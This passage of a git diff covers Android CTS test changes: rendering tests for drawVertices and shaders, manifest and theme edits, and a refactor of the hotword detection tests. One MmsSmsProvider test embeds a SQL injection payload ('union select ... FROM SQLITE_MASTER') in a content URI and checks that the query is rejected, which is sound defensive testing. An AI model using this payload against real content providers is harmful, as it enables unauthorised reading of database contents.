+        assertNotNull(uriWithoutSqlInjectionCur);
+    }
+
+    /**
+     * Verifies sql injection is not allowed within a URI.
+     */
+    @Test
+    @ApiTest(apis = "com.android.providers.telephony.MmsSmsProvider#query")
+    public void query_threadIdParameter_sqlInjection() {
+        Uri uriWithSqlInjection = Uri.parse("content://mms-sms/conversations?simple=true&"
+                + "thread_type=1 union select type,name,tbl_name,rootpage,sql FROM SQLITE_MASTER;; --");
+        Cursor uriWithSqlInjectionCur = mContentResolver.query(uriWithSqlInjection,
+                new String[]{"1","2","3","4","5"}, null, null, null);
+        assertNull(uriWithSqlInjectionCur);
+    }
+
+    /**
+     * Verifies query() returns non-null cursor when valid URI is passed to it.
+     */
+    @Test
+    @ApiTest(apis = "com.android.providers.telephony.MmsSmsProvider#query")
+    public void query_threadIdParameter_withoutSqlInjection() {
+        Uri uriWithoutSqlInjection = Uri.parse(
+                "content://mms-sms/conversations?simple=true&thread_type=1");
+        Cursor uriWithoutSqlInjectionCur = mContentResolver.query(uriWithoutSqlInjection,
+                new String[]{"1","2","3","4","5"}, null, null, null);
+        assertNotNull(uriWithoutSqlInjectionCur);
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
index b96293f..fba68c2 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
@@ -36,6 +36,7 @@
 import android.content.Intent;
 import android.graphics.drawable.Icon;
 import android.net.Uri;
+import android.os.RemoteException;
 import android.provider.Settings;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -55,7 +56,9 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.uiautomator.By;
 import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.ShellUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -87,28 +90,16 @@
             UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
     @Before
-    public void setup() throws Exception {
+    public void setup() throws RemoteException {
         Assume.assumeTrue(
                 ApplicationProvider.getApplicationContext().getPackageManager()
                         .hasSystemFeature(FEATURE_TOUCHSCREEN));
-        workAroundNotificationShadeWindowIssue();
         mSimpleTextClassifier = new SimpleTextClassifier();
         sDevice.wakeUp();
         dismissKeyguard();
         closeSystemDialog();
     }
 
-    // Somehow there is a stale "NotificationShade" window from SysUI stealing the inputs.
-    // The window is in the "exiting" state and seems never finish exiting.
-    // The workaround here is to (hopefully) reset its state by expanding the notification panel
-    // and collapsing it again.
-    private void workAroundNotificationShadeWindowIssue() throws InterruptedException {
-        ShellUtils.runShellCommand("cmd statusbar expand-notifications");
-        Thread.sleep(1000);
-        ShellUtils.runShellCommand("cmd statusbar collapse");
-        Thread.sleep(1000);
-    }
-
     private void dismissKeyguard() {
         ShellUtils.runShellCommand("wm dismiss-keyguard");
     }
@@ -203,6 +194,18 @@
         assertThat(mSimpleTextClassifier.getClassifyTextInvocationCount()).isEqualTo(1);
     }
 
+    // TODO: re-use now. Refactor to have a folder/test class for toolbar
+    @Test
+    @ApiTest(apis = "android.view.View#startActionMode")
+    public void smartSelection_toolbarContainerNoContentDescription() throws Exception {
+        smartSelectionInternal();
+
+        UiObject2 toolbarContainer =
+                sDevice.findObject(By.res("android", "floating_popup_container"));
+        assertThat(toolbarContainer).isNotNull();
+        assertThat(toolbarContainer.getContentDescription()).isNull();
+    }
+
     private void smartSelectionInternal() {
         ActivityScenario<TextViewActivity> scenario = rule.getScenario();
         AtomicInteger clickIndex = new AtomicInteger();
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
index f00f0b1..5330b02 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
@@ -20,17 +20,20 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorSpace;
+import android.graphics.LinearGradient;
 import android.graphics.Paint;
 import android.graphics.Path;
 import android.graphics.Picture;
 import android.graphics.PorterDuff;
 import android.graphics.Rect;
+import android.graphics.Shader;
 import android.graphics.drawable.NinePatchDrawable;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapcomparers.ExactComparer;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
 import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
@@ -40,9 +43,13 @@
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class ExactCanvasTests extends ActivityTestBase {
@@ -352,6 +359,138 @@
     }
 
     @Test
+    @ApiTest(apis = {"android.graphics.Canvas#drawVertices"})
+    public void testDrawVertices_doNotBlendColorsWithoutShader() {
+        BitmapVerifier verifier = new ColorVerifier(Color.BLUE);
+
+        createTest()
+                .addCanvasClient(
+                        (canvas, width, height) -> {
+                            float[] verts =
+                                    new float[] {
+                                        width, 0, width, height, 0, 0, 0, height,
+                                    };
+                            int[] vertColors =
+                                    new int[] {Color.BLUE, Color.BLUE, Color.BLUE, Color.BLUE};
+                            // Paint color should be ignored and not blend with vertex color.
+                            Paint paint = new Paint();
+                            paint.setColor(Color.RED);
+                            canvas.drawVertices(
+                                    Canvas.VertexMode.TRIANGLE_STRIP,
+                                    verts.length,
+                                    verts,
+                                    0,
+                                    null,
+                                    0,
+                                    vertColors,
+                                    0,
+                                    null,
+                                    0,
+                                    0,
+                                    paint);
+                        })
+                .runWithVerifier(verifier);
+    }
+
+    @Test
+    @ApiTest(apis = {"android.graphics.Canvas#drawVertices"})
+    public void testDrawVertices_blendVertexAndShaderColors() {
+        Color vertexColor = Color.valueOf(0.8f, 0.6f, 0.4f);
+        Color shaderColor = Color.valueOf(0.5f, 0.5f, 0.5f);
+        // drawVertices should blend vertex color and shader color with kModulate.
+        Color modulatedColor =
+                Color.valueOf(
+                        vertexColor.red() * shaderColor.red(),
+                        vertexColor.green() * shaderColor.green(),
+                        vertexColor.blue() * shaderColor.blue());
+        BitmapVerifier verifier = new ColorVerifier(modulatedColor.toArgb());
+
+        createTest()
+                .addCanvasClient(
+                        (canvas, width, height) -> {
+                            float[] verts =
+                                    new float[] {
+                                        width, 0, width, height, 0, 0, 0, height,
+                                    };
+                            int[] vertColors = new int[4];
+                            Arrays.fill(vertColors, vertexColor.toArgb());
+                            int[] shaderColors = new int[2];
+                            Arrays.fill(shaderColors, shaderColor.toArgb());
+
+                            Paint paint = new Paint();
+                            paint.setShader(
+                                    new LinearGradient(
+                                            0,
+                                            0,
+                                            width,
+                                            height,
+                                            shaderColors,
+                                            null,
+                                            Shader.TileMode.REPEAT));
+                            canvas.drawVertices(
+                                    Canvas.VertexMode.TRIANGLE_STRIP,
+                                    verts.length,
+                                    verts,
+                                    0,
+                                    verts,
+                                    0,
+                                    vertColors,
+                                    0,
+                                    null,
+                                    0,
+                                    0,
+                                    paint);
+                        })
+                .runWithVerifier(verifier);
+    }
+
+    @Test
+    @ApiTest(apis = {"android.graphics.Canvas#drawVertices"})
+    public void testDrawVertices_ignoreShaderIfTexsNotSet() {
+        Color vertexColor = Color.valueOf(0.8f, 0.6f, 0.4f);
+        Color shaderColor = Color.valueOf(0.5f, 0.5f, 0.5f); // Should be ignored.
+        BitmapVerifier verifier = new ColorVerifier(vertexColor.toArgb());
+
+        createTest()
+                .addCanvasClient(
+                        (canvas, width, height) -> {
+                            float[] verts =
+                                    new float[] {
+                                        width, 0, width, height, 0, 0, 0, height,
+                                    };
+                            int[] vertColors = new int[4];
+                            Arrays.fill(vertColors, vertexColor.toArgb());
+                            int[] shaderColors = new int[2];
+                            Arrays.fill(shaderColors, shaderColor.toArgb());
+
+                            Paint paint = new Paint();
+                            paint.setShader(
+                                    new LinearGradient(
+                                            0,
+                                            0,
+                                            width,
+                                            height,
+                                            shaderColors,
+                                            null,
+                                            Shader.TileMode.REPEAT));
+                            canvas.drawVertices(
+                                    Canvas.VertexMode.TRIANGLE_STRIP,
+                                    verts.length,
+                                    verts,
+                                    0,
+                                    null,
+                                    0,
+                                    vertColors,
+                                    0,
+                                    null,
+                                    0,
+                                    0,
+                                    paint);
+                        })
+                .runWithVerifier(verifier);
+    }
+
+    @Test
     public void testColorLongs() {
         createTest()
                 .addCanvasClient((canvas, width, height) -> {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt
index 86da6df..5c9d505 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt
@@ -35,13 +35,13 @@
 import android.util.Half
 import androidx.test.ext.junit.runners.AndroidJUnit4
 import androidx.test.filters.MediumTest
+import com.android.compatibility.common.util.ApiTest
+import java.nio.ByteBuffer
+import java.nio.ByteOrder
 import org.junit.Assert
 import org.junit.Test
 import org.junit.runner.RunWith
 
-import java.nio.ByteBuffer
-import java.nio.ByteOrder
-
 @MediumTest
 @RunWith(AndroidJUnit4::class)
 class RuntimeShaderTests : ActivityTestBase() {
@@ -376,6 +376,37 @@
     }
 
     @Test
+    @ApiTest(apis = arrayOf("android.graphics.Shader#setLocalMatrix"))
+    fun testComposeShaderLocalMatrix() {
+        val shaderA = RuntimeShader(simpleRedShader)
+
+        // Create a runtime shader that calls a decal image shader with translation local matrix.
+        val bitmap = Bitmap.createBitmap(20, 20, Bitmap.Config.ARGB_8888, true)
+        bitmap.eraseColor(Color.GREEN)
+        val bitmapShader = BitmapShader(bitmap, Shader.TileMode.DECAL, Shader.TileMode.DECAL)
+        val matrix = Matrix()
+        matrix.setTranslate(100f, 0f)
+        bitmapShader.setLocalMatrix(matrix)
+        val shaderB = RuntimeShader(samplingShader)
+        shaderB.setInputShader("inputShader", bitmapShader)
+
+        // This compose shader will have a local matrix that compensates for the image shader's
+        // translation.
+        val composeShader = ComposeShader(shaderA, shaderB, BlendMode.SRC_OVER)
+        matrix.setTranslate(-100f, 0f)
+        composeShader.setLocalMatrix(matrix)
+
+        val paint = Paint()
+        paint.shader = composeShader
+
+        val rect = Rect(0, 0, 20, 20)
+
+        createTest().addCanvasClient(CanvasClient
+                { canvas: Canvas, width: Int, height: Int -> canvas.drawRect(rect, paint) },
+                true).runWithVerifier(RectVerifier(Color.WHITE, Color.GREEN, rect, 0))
+    }
+
+    @Test
     fun testLinearColorIntrinsic() {
         val colorA = Color.valueOf(0.75f, 0.25f, 0.0f, 1.0f)
         val colorB = Color.valueOf(0.0f, 0.75f, 0.25f, 1.0f)
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 514c6fa..ba1205e 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -416,6 +416,7 @@
         </activity>
 
         <activity android:name="android.view.cts.InputEventInterceptTestActivity"
+             android:theme="@style/no_starting_window"
              android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -423,6 +424,7 @@
         </activity>
 
         <activity android:name="android.view.cts.input.InputDeviceKeyLayoutMapTestActivity"
+             android:configChanges="keyboardHidden|navigation"
              android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
diff --git a/tests/tests/view/res/values/themes.xml b/tests/tests/view/res/values/themes.xml
index e44b58a..6579108 100644
--- a/tests/tests/view/res/values/themes.xml
+++ b/tests/tests/view/res/values/themes.xml
@@ -20,4 +20,8 @@
         <item name="android:textAppearanceLarge">@android:style/TextAppearance.Material.Large</item>
     </style>
 
+    <style name="no_starting_window" parent="@android:style/Theme.DeviceDefault">
+        <item name="android:windowDisablePreview">true</item>
+    </style>
+
 </resources>
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/Android.bp b/tests/tests/voiceinteraction/Android.bp
index b847f7f..e534c35 100644
--- a/tests/tests/voiceinteraction/Android.bp
+++ b/tests/tests/voiceinteraction/Android.bp
@@ -20,6 +20,7 @@
     name: "CtsVoiceInteractionTestCases",
     defaults: ["cts_defaults"],
     static_libs: [
+        "CtsAttentionServiceDevice",
         "CtsVoiceInteractionCommon",
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
@@ -35,7 +36,7 @@
         "service/src/android/voiceinteraction/service/MainInteractionSessionService.java",
         "service/src/android/voiceinteraction/service/MainRecognitionService.java",
         "service/src/android/voiceinteraction/service/EventPayloadParcelable.java",
-        "service/src/android/voiceinteraction/service/EventPayloadParcelable.aidl"
+        "service/src/android/voiceinteraction/service/EventPayloadParcelable.aidl",
     ],
     // Tag this module as a cts test artifact
     test_suites: [
diff --git a/tests/tests/voiceinteraction/AndroidManifest.xml b/tests/tests/voiceinteraction/AndroidManifest.xml
index 1b8b513..6401843 100644
--- a/tests/tests/voiceinteraction/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/AndroidManifest.xml
@@ -96,6 +96,14 @@
             <meta-data android:name="android.speech"
                      android:resource="@xml/recognition_service" />
         </service>
+        <service android:name="android.attentionservice.cts.CtsTestAttentionService"
+                 android:label="CtsTestAttentionService"
+                 android:permission="android.permission.BIND_ATTENTION_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.service.attention.AttentionService"/>
+            </intent-filter>
+        </service>
       <receiver android:name="VoiceInteractionTestReceiver"
            android:exported="true"/>
     </application>
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
index 767143c..2202309 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
@@ -17,6 +17,9 @@
 package android.voiceinteraction.cts;
 
 import static android.content.pm.PackageManager.FEATURE_MICROPHONE;
+import static android.voiceinteraction.cts.testcore.VoiceInteractionDetectionHelper.perform;
+import static android.voiceinteraction.cts.testcore.VoiceInteractionDetectionHelper.performAndGetDetectionResult;
+import static android.voiceinteraction.cts.testcore.VoiceInteractionDetectionHelper.testHotwordDetection;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -24,7 +27,6 @@
 
 import android.app.Instrumentation;
 import android.app.compat.CompatChanges;
-import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.media.AudioAttributes;
 import android.media.AudioFormat;
@@ -44,7 +46,6 @@
 import android.voiceinteraction.service.EventPayloadParcelable;
 import android.voiceinteraction.service.MainHotwordDetectionService;
 
-import androidx.annotation.NonNull;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.RequiresDevice;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -139,9 +140,12 @@
     @Test
     public void testHotwordDetectionService_validHotwordDetectionComponentName_triggerSuccess()
             throws Throwable {
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
     }
 
     @Test
@@ -157,22 +161,31 @@
         receiver.register();
 
         // Create SoftwareHotwordDetector
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         // Destroy detector
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
                 Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         // Create AlwaysOnHotwordDetector
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         verifyDetectedResult(
-                performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST),
+                performAndGetDetectionResult(
+                        mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
                 MainHotwordDetectionService.DETECTED_RESULT);
         verifyMicrophoneChip(true);
     }
@@ -180,17 +193,21 @@
     @Test
     public void testVoiceInteractionService_withoutManageHotwordDetectionPermission_triggerFailure()
             throws Throwable {
-        testHotwordDetection(Utils.VIS_WITHOUT_MANAGE_HOTWORD_DETECTION_PERMISSION_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.VIS_WITHOUT_MANAGE_HOTWORD_DETECTION_PERMISSION_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
     }
 
     @Test
     public void testVoiceInteractionService_holdBindHotwordDetectionPermission_triggerFailure()
             throws Throwable {
-        testHotwordDetection(Utils.VIS_HOLD_BIND_HOTWORD_DETECTION_PERMISSION_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.VIS_HOLD_BIND_HOTWORD_DETECTION_PERMISSION_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
     }
 
     @Test
@@ -199,12 +216,17 @@
             throws Throwable {
         Thread.sleep(CLEAR_CHIP_MS);
         // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         verifyDetectedResult(
-                performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST),
+                performAndGetDetectionResult(
+                        mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
                 MainHotwordDetectionService.DETECTED_RESULT);
         verifyMicrophoneChip(true);
     }
@@ -215,11 +237,16 @@
             throws Throwable {
         Thread.sleep(CLEAR_CHIP_MS);
         // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
-        assertThat(performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONREJECT_TEST))
+        assertThat(performAndGetDetectionResult(
+                mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_DSP_ONREJECT_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC))
                 .isEqualTo(MainHotwordDetectionService.REJECTED_RESULT);
         verifyMicrophoneChip(false);
     }
@@ -229,13 +256,17 @@
             throws Throwable {
         Thread.sleep(CLEAR_CHIP_MS);
         // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         verifyDetectedResult(
                 performAndGetDetectionResult(
-                        Utils.HOTWORD_DETECTION_SERVICE_EXTERNAL_SOURCE_ONDETECT_TEST),
+                        mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_EXTERNAL_SOURCE_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
                 MainHotwordDetectionService.DETECTED_RESULT);
         verifyMicrophoneChip(true);
     }
@@ -246,12 +277,17 @@
             throws Throwable {
         Thread.sleep(CLEAR_CHIP_MS);
         // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         verifyDetectedResult(
-                performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST),
+                performAndGetDetectionResult(
+                        mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
                 MainHotwordDetectionService.DETECTED_RESULT);
         verifyMicrophoneChip(true);
     }
@@ -261,17 +297,23 @@
     public void testHotwordDetectionService_onStopDetection()
             throws Throwable {
         // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         // The HotwordDetectionService can't report any result after recognition is stopped. So
         // restart it after stopping; then the service can report a special result.
-        perform(Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST);
-        perform(Utils.HOTWORD_DETECTION_SERVICE_CALL_STOP_RECOGNITION);
+        perform(mActivityTestRule, Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+        perform(mActivityTestRule, Utils.HOTWORD_DETECTION_SERVICE_CALL_STOP_RECOGNITION,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
         EventPayloadParcelable result =
                 (EventPayloadParcelable) performAndGetDetectionResult(
-                        Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST);
+                        mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         verifyDetectedResult(
                 result, MainHotwordDetectionService.DETECTED_RESULT_AFTER_STOP_DETECTION);
@@ -281,9 +323,11 @@
     @RequiresDevice
     public void testHotwordDetectionService_concurrentCapture() throws Throwable {
         // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         SystemUtil.runWithShellPermissionIdentity(() -> {
             AudioRecord record =
@@ -305,7 +349,9 @@
                 record.startRecording();
                 verifyDetectedResult(
                         performAndGetDetectionResult(
-                                Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST),
+                                mActivityTestRule, mContext,
+                                Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
+                                Utils.HOTWORD_DETECTION_SERVICE_BASIC),
                         MainHotwordDetectionService.DETECTED_RESULT);
                 // TODO: Test that it still works after restarting the process or killing audio
                 //  server.
@@ -319,14 +365,18 @@
     public void testHotwordDetectionService_processDied_triggerOnError()
             throws Throwable {
         // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         // Use AlwaysOnHotwordDetector to test process died of HotwordDetectionService
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_PROCESS_DIED_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_PROCESS_DIED_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_GET_ERROR);
+                Utils.HOTWORD_DETECTION_SERVICE_GET_ERROR,
+                Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
         // ActivityManager will schedule a timer to restart the HotwordDetectionService due to
         // we crash the service in this test case. It may impact the other test cases when
@@ -339,68 +389,47 @@
     @Test
     public void testHotwordDetectionService_destroyDspDetector_activeDetectorRemoved() {
         // Create AlwaysOnHotwordDetector
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+        testHotwordDetection(mActivityTestRule, mContext,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
